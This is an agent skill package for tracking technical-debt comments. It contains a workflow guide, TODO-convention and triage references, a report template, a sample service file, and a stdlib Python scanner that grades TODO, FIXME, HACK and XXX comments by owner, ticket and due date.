sys.exit(main())Scans a codebase for TODO, FIXME, HACK, and XXX comments, extracts owner, ticket, and due date, and flags unowned, untracked, overdue, or vague items with a priority score. Use when cleaning up tech debt, before a release, or asking "which TODOs actually matter?". Includes a stdlib Python scanner with --self-test and a CI-friendly exit code.
---
name: todo-comment-debt-tracker
description: Scans a codebase for TODO, FIXME, HACK, and XXX comments, extracts owner, ticket, and due date, and flags unowned, untracked, overdue, or vague items with a priority score. Use when cleaning up tech debt, before a release, or asking "which TODOs actually matter?". Includes a stdlib Python scanner with --self-test and a CI-friendly exit code.
---
# TODO Comment Debt Tracker
You help teams turn scattered TODO, FIXME, HACK, and XXX comments into a short, owned, prioritized debt list. You scan the code, parse who owns each item, which ticket tracks it, and when it is due, then highlight the ones that are risky or forgotten. You never delete or rewrite comments on your own; you propose changes and let the team decide.
## Files in this skill
- `scripts/todo_debt.py` - scans files or directories, parses owner/ticket/due date, scores each item, and prints a markdown table or JSON (Python 3 standard library only)
- `references/comment-conventions.md` - a recommended TODO format and how to adopt it without churn
- `references/triage-rules.md` - how to decide fix now, ticket, or delete
- `templates/debt-report.md` - report for a sprint review, release checklist, or PR comment
- `examples/sample_service.py` - a small file with typical good and bad TODOs for demos
## Workflow
### 1. Scope the scan
Ask which directories matter and what to skip (generated code, vendored libraries, fixtures). The script already skips `.git`, `node_modules`, `vendor`, `dist`, `build`, virtualenvs, and `target`.
### 2. Run the scanner
```
python3 scripts/todo_debt.py src/ --today 2026-10-18
python3 scripts/todo_debt.py src/ tests/ --ext .py,.ts --json > todo-debt.json
python3 scripts/todo_debt.py examples/sample_service.py --strict
python3 scripts/todo_debt.py --self-test
```
Exit code 1 when an item is overdue or a FIXME/HACK/XXX has no ticket (`--strict`: any problem). Use it as a soft CI gate or a weekly report job.
### 3. Read the problems
- **overdue**: due date passed. Highest priority.
- **no_ticket**: nothing tracks the work; it will be forgotten.
- **stale_hack**: a HACK or XXX with no ticket, often a workaround that outlived its reason.
- **no_owner**: nobody is responsible.
- **vague**: fewer than three words, such as "TODO: fix".
Scores: FIXME/HACK/XXX start at 3, TODO at 1; +2 if overdue, +1 if no ticket.
### 4. Triage with the team
Apply `references/triage-rules.md`: fix now if it is under 30 minutes, create a ticket and add its id if it is real work, delete it if it is obsolete. Use `git blame` on the line to find a likely owner when none is written.
### 5. Report
Fill `templates/debt-report.md` with the top items, totals by marker and owner, and agreed actions. Suggest the convention in `references/comment-conventions.md` for new comments.
## Rules
- Do not count markers inside string literals or plain prose; only comments.
- Never invent ticket numbers or owners; mark them unknown and suggest how to find them.
- Do not remove comments in bulk without review; propose a patch instead.
- Respect generated and vendored code: report it separately or skip it.
FILE:references/comment-conventions.md
# Recommended TODO convention
```
# TODO(owner, TICKET-123, 2026-12-01): what needs to happen and why
```
- **owner**: a username or team handle (`alice`, `@payments-team`). One name, the person who will make the call.
- **ticket**: `#123`, `PROJ-123`, or a full issue URL. Required for FIXME, HACK, and XXX.
- **due date**: ISO `YYYY-MM-DD`, optional for TODO, recommended for HACK workarounds.
- **text**: an action plus the reason, at least a short sentence. "TODO: fix" is not useful.
## Which marker to use
| Marker | Meaning | Ticket required? |
|---|---|---|
| TODO | Planned improvement, not wrong today | Recommended |
| FIXME | Known bug or incorrect behavior | Yes |
| HACK | Deliberate workaround that should be removed | Yes, plus a due date |
| XXX | Danger, surprising code, review needed | Yes |
## Adopting without churn
1. Run the scanner and publish the report; do not mass-edit.
2. Apply the convention to new comments via code review or a lint rule.
3. Fix old comments when you touch that code anyway.
4. Revisit the totals monthly; aim for "no overdue, no untracked FIXME".
FILE:references/triage-rules.md
# Triage rules
For each item, ask in order:
1. **Is it still true?** Read the surrounding code and `git log -L` for the lines. If the issue is gone, delete the comment.
2. **Is it under 30 minutes?** Fix it now in a small PR that removes the comment.
3. **Is it a bug or a risk?** (FIXME/XXX, security, data loss, money) Create a ticket with priority, add the ticket id to the comment, and assign an owner.
4. **Is it a workaround?** (HACK) Write down the condition that allows removal ("remove after vendor SDK 5.x") and a due date.
5. **Is it a wish?** If nobody would schedule it in the next two quarters, delete it or move it to a backlog ticket.
## Priority hints
- Overdue items first, then FIXME/HACK/XXX without tickets, then unowned items in hot files (high churn).
- Items in auth, payments, data migrations, or concurrency code deserve a closer look regardless of score.
## Finding an owner
- `git blame -L <line>,<line> <file>` shows who added it; that person or their team is the default owner.
- CODEOWNERS files map paths to teams.
- If the author has left, assign to the current maintainer of the module.
FILE:templates/debt-report.md
# TODO Debt Report
**Repository:** <name> **Scanned:** <paths> **Date:** <YYYY-MM-DD>
## Totals
| Marker | Count | Overdue | No ticket | No owner |
|---|---|---|---|---|
| TODO | | | | |
| FIXME | | | | |
| HACK | | | | |
| XXX | | | | |
## Top 10 by score
| Score | Location | Marker | Owner | Ticket | Due | Problems | Proposed action |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## By owner
| Owner | Items | Overdue |
|---|---|---|
## Agreed actions
- [ ] Fix now:
- [ ] Ticket created:
- [ ] Delete (obsolete):
## Convention reminder
`# TODO(owner, TICKET-123, YYYY-MM-DD): action and reason`
FILE:examples/sample_service.py
"""Sample order service with typical TODO comments for demos of todo_debt.py."""
import json
TAX_RATE = 0.2 # XXX(PAY-311): confirm tax rate per region with finance
def load_orders(path):
# TODO(maria, 2026-03-01): switch to streaming parser once files exceed 50 MB (#88)
with open(path, encoding="utf-8") as fh:
return json.load(fh)
def total(order):
# FIXME: returns wrong total when a discount exceeds the subtotal
subtotal = sum(item["price"] * item["qty"] for item in order["items"])
discount = order.get("discount", 0)
return round((subtotal - discount) * (1 + TAX_RATE), 2)
def notify(order):
# HACK [2026-11-30] skip emails for test accounts until the staging mail stub is fixed
if order.get("email", "").endswith("@test.local"):
return False
# TODO: retry
return True
def label(order):
note = "TODO: this string is not a comment and should be ignored"
# TODO(@ken, OPS-19): move label printing to the warehouse service
return f"{order['id']} {note[:0]}"
FILE:scripts/todo_debt.py
#!/usr/bin/env python3
"""Scan source files for TODO/FIXME/HACK/XXX comments and grade them (Python 3 standard library only).
Recognized forms (marker must follow a comment token: # // /* * -- ; <!--):
# TODO: plain note
// TODO(alice): owner
# FIXME(#123): issue number # TODO(PROJ-42) ticket key # TODO(https://...) link
# TODO(bob, 2026-12-01): owner + due date # HACK [2026-11-15] due date in brackets
Problems flagged per item:
no_owner, no_ticket, overdue (due date before --today), stale_hack (HACK/XXX without ticket),
vague (fewer than 3 words of text)
Exit code: 1 if any item is overdue or a FIXME/HACK/XXX has no ticket (with --strict: any problem).
"""
import argparse
import datetime as dt
import json
import os
import re
import sys
MARKERS = ("TODO", "FIXME", "HACK", "XXX")
SEVERITY = {"FIXME": 3, "HACK": 3, "XXX": 3, "TODO": 1}
COMMENT_RE = re.compile(
r"(?:#|//|/\*|(?:^|\s)\*|--|;|<!--)\s*(?P<marker>TODO|FIXME|HACK|XXX)\b"
r"(?:\s*\((?P<paren>[^)]*)\))?(?:\s*\[(?P<bracket>[^\]]*)\])?\s*:?\s*(?P<text>.*)$")
DATE_RE = re.compile(r"\b(\d{4}-\d{2}-\d{2})\b")
TICKET_RE = re.compile(r"(#\d+\b|\b[A-Z][A-Z0-9]+-\d+\b|https?://\S+)")
OWNER_RE = re.compile(r"^@?([A-Za-z][\w.-]*)$")
DEFAULT_EXT = {".py", ".js", ".ts", ".tsx", ".jsx", ".go", ".rs", ".java", ".kt", ".c", ".h", ".cpp",
".cs", ".rb", ".php", ".swift", ".sh", ".sql", ".yaml", ".yml", ".toml", ".css", ".scss",
".html", ".vue", ".lua"}
SKIP_DIRS = {".git", "node_modules", "vendor", "dist", "build", ".venv", "venv", "__pycache__", "target"}
def parse_line(line, path="<text>", lineno=0, today=None):
m = COMMENT_RE.search(line)
if not m:
return None
marker = m.group("marker")
meta = ",".join(x for x in (m.group("paren"), m.group("bracket")) if x)
text = (m.group("text") or "").strip().rstrip("*/").rstrip("-->").strip()
owner = None
ticket = None
due = None
for part in [p.strip() for p in meta.split(",") if p.strip()]:
if DATE_RE.fullmatch(part.replace("by ", "").replace("until ", "").strip()):
due = DATE_RE.search(part).group(1)
elif TICKET_RE.fullmatch(part):
ticket = part
elif OWNER_RE.fullmatch(part) and owner is None:
owner = OWNER_RE.fullmatch(part).group(1)
if ticket is None:
t = TICKET_RE.search(text)
if t:
ticket = t.group(1)
if due is None:
d = re.search(r"\b(?:by|until|before|due)\s+(\d{4}-\d{2}-\d{2})\b", text)
if d:
due = d.group(1)
problems = []
if not owner:
problems.append("no_owner")
if not ticket:
problems.append("no_ticket")
if marker in ("HACK", "XXX"):
problems.append("stale_hack")
if due and today:
try:
if dt.date.fromisoformat(due) < today:
problems.append("overdue")
except ValueError:
problems.append("bad_date")
if len(re.findall(r"[A-Za-z]{2,}", text)) < 3:
problems.append("vague")
return {"file": path, "line": lineno, "marker": marker, "owner": owner, "ticket": ticket,
"due": due, "text": text, "problems": problems,
"score": SEVERITY[marker] + 2 * ("overdue" in problems) + ("no_ticket" in problems)}
def scan_text(text, path="<text>", today=None):
items = []
for i, line in enumerate(text.splitlines(), 1):
it = parse_line(line, path, i, today)
if it:
items.append(it)
return items
def iter_files(root, exts):
if os.path.isfile(root):
yield root
return
for dirpath, dirnames, filenames in os.walk(root):
dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIRS)
for fn in sorted(filenames):
if os.path.splitext(fn)[1].lower() in exts:
yield os.path.join(dirpath, fn)
def is_blocking(item, strict=False):
if strict:
return bool(item["problems"])
return "overdue" in item["problems"] or (item["marker"] != "TODO" and "no_ticket" in item["problems"])
def summarize(items):
s = {"total": len(items), "by_marker": {}, "by_owner": {}, "problems": {}}
for it in items:
s["by_marker"][it["marker"]] = s["by_marker"].get(it["marker"], 0) + 1
o = it["owner"] or "(unowned)"
s["by_owner"][o] = s["by_owner"].get(o, 0) + 1
for p in it["problems"]:
s["problems"][p] = s["problems"].get(p, 0) + 1
return s
def render(items):
out = ["| Score | Marker | Location | Owner | Ticket | Due | Problems | Text |", "|---|---|---|---|---|---|---|---|"]
for it in sorted(items, key=lambda x: (-x["score"], x["file"], x["line"])):
out.append(f"| {it['score']} | {it['marker']} | {it['file']}:{it['line']} | {it['owner'] or '-'} | "
f"{it['ticket'] or '-'} | {it['due'] or '-'} | {', '.join(it['problems']) or 'ok'} | {it['text'][:60]} |")
return "\n".join(out)
SAMPLE = '''import os
# TODO(alice, 2026-01-15): remove legacy CSV export after #412 ships
def f():
pass # FIXME: crashes when list is empty
// HACK [2026-12-31] skip auth in local dev
/* XXX(PROJ-77): double-check rounding with finance */
-- TODO(@bob): add index
x = "TODO: this is a string, not a comment"
<!-- TODO(carol): https://example.com/issues/9 replace hero image -->
* TODO update docs by 2025-05-01
# todo lowercase is ignored
'''
def self_test():
today = dt.date(2026, 10, 18)
items = scan_text(SAMPLE, "sample", today)
by_line = {it["line"]: it for it in items}
cases = [
("count", len(items), 7),
("owner_parsed", by_line[2]["owner"], "alice"),
("due_parsed", by_line[2]["due"], "2026-01-15"),
("overdue_flag", "overdue" in by_line[2]["problems"], True),
("ticket_from_text", by_line[2]["ticket"], "#412"),
("fixme_no_ticket", by_line[4]["problems"][:2], ["no_owner", "no_ticket"]),
("fixme_blocking", is_blocking(by_line[4]), True),
("hack_bracket_due_future", "overdue" in by_line[5]["problems"], False),
("hack_stale", "stale_hack" in by_line[5]["problems"], True),
("xxx_ticket_key", by_line[6]["ticket"], "PROJ-77"),
("at_owner", by_line[7]["owner"], "bob"),
("vague_short", "vague" in by_line[7]["problems"], True),
("string_not_comment", 8 in by_line, False),
("html_comment_link", by_line[9]["ticket"], "https://example.com/issues/9"),
("star_comment_due_text", by_line[10]["due"], "2025-05-01"),
("lowercase_ignored", 11 in by_line, False),
("todo_not_blocking_default", is_blocking(by_line[7]), False),
("todo_blocking_strict", is_blocking(by_line[7], strict=True), True),
("summary_markers", summarize(items)["by_marker"], {"TODO": 4, "FIXME": 1, "HACK": 1, "XXX": 1}),
("score_overdue_todo", by_line[2]["score"], 3),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Find and grade TODO/FIXME/HACK/XXX comments.")
p.add_argument("paths", nargs="*", default=[], help="files or directories to scan")
p.add_argument("--today", help="YYYY-MM-DD for overdue checks (default: today)")
p.add_argument("--ext", help="comma-separated extensions to include, e.g. .py,.ts")
p.add_argument("--json", action="store_true")
p.add_argument("--strict", action="store_true", help="exit 1 on any problem")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.paths:
p.error("give files/directories to scan, or --self-test")
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
exts = {e if e.startswith(".") else "." + e for e in a.ext.split(",")} if a.ext else DEFAULT_EXT
items = []
for root in a.paths:
for path in iter_files(root, exts):
try:
with open(path, encoding="utf-8", errors="replace") as fh:
items += scan_text(fh.read(), path, today)
except OSError as e:
print(f"warn: {path}: {e}", file=sys.stderr)
if a.json:
print(json.dumps({"summary": summarize(items), "items": items}, indent=2))
else:
print(render(items))
s = summarize(items)
print(f"\nTotal {s['total']}; markers {s['by_marker']}; problems {s['problems']}")
return 1 if any(is_blocking(it, a.strict) for it in items) else 0
if __name__ == "__main__":
sys.exit(main())